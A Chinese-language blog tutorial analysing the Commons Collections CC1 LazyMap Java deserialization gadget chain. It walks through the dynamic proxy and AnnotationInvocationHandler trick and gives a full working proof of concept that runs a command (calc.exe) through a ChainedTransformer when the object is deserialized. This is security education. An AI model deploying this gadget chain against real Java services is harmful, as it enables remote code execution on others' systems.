当前位置:   article > 正文

cc1LazyMap链_lazymap这条链,因为我们将annotationinvocationhandler对象(下面称为

lazymap这条链,因为我们将annotationinvocationhandler对象(下面称为a1)作为invoc

前言

上一篇文章我们看了Java动态代理的概念,而cc1中的LazyMap链就用到这个概念,现在来做个简单的剖析。
简而言之就是当调用到被代理对象的任何方法时,都会先调用InvocationHandler接口中的invoke方法,而AnnotationInvocationHandler正好实现了该接口。

LazyMap链

首先我们先看一下代码:

package org.example.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc1Demo2 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50

transformers数组和new一个ChainedTransformer对象都是一样的,不一样的是TransformedMap链条需要手动put一个key/vaule才能触发我们的反序列化,而LazyMap链条是在其get方法中执行的factory.transform,代码分析LazyMap中的get函数:
在这里插入图片描述
当在get找不到值的时候,它会调用factory.transform方法去获取一个值。

看代码中的实例化LazyMap对象的decorate方法:
在这里插入图片描述
跟进LazyMap类的decorate函数,看一下里面的作用:
在这里插入图片描述
返回的是一个LazyMap对象。
get方法中的factory就是我们传入的transformerChain,也就是说,只要调用了get方法,并且Map对象中的没有key,就可以触发ChainedTransformer的transform方法,从而实现transformers数组进行回调,进而执行命令。

现在的问题就是要找一个调用get方法的类:
在AnnotationInvocationHandler类的invoke方法中调用了get方法:
在这里插入图片描述
那又要如何调用到invoke方法;
P牛的文章中说到:
我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get

下面这段代码就用到了java的动态代理,如果不了解的可以看我的上一篇文章
代码片段:

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

Proxy.newProxyInstance中的三个参数上篇文章也说的很详细了,第一个参数是动态代理要实现的类加载的类,第二个对象是需要代理对象的集合,第三个是代理类,代理类中是我们实现的代码,包含了代理的具体逻辑。
代理后的对象叫做proxyMap,但不能直接对其进行序列化,因为入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
  • 1

最后成功命令执行:
在这里插入图片描述

参考:
http://121.40.251.109/2021/07/16/2021-7-16-ysoserial%E7%B3%BB%E5%88%97-CommonsCollections1%E9%93%BE%E5%88%86%E6%9E%90/
  • 1
  • 2
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/694691
推荐阅读
相关标签
  

闽ICP备14008679号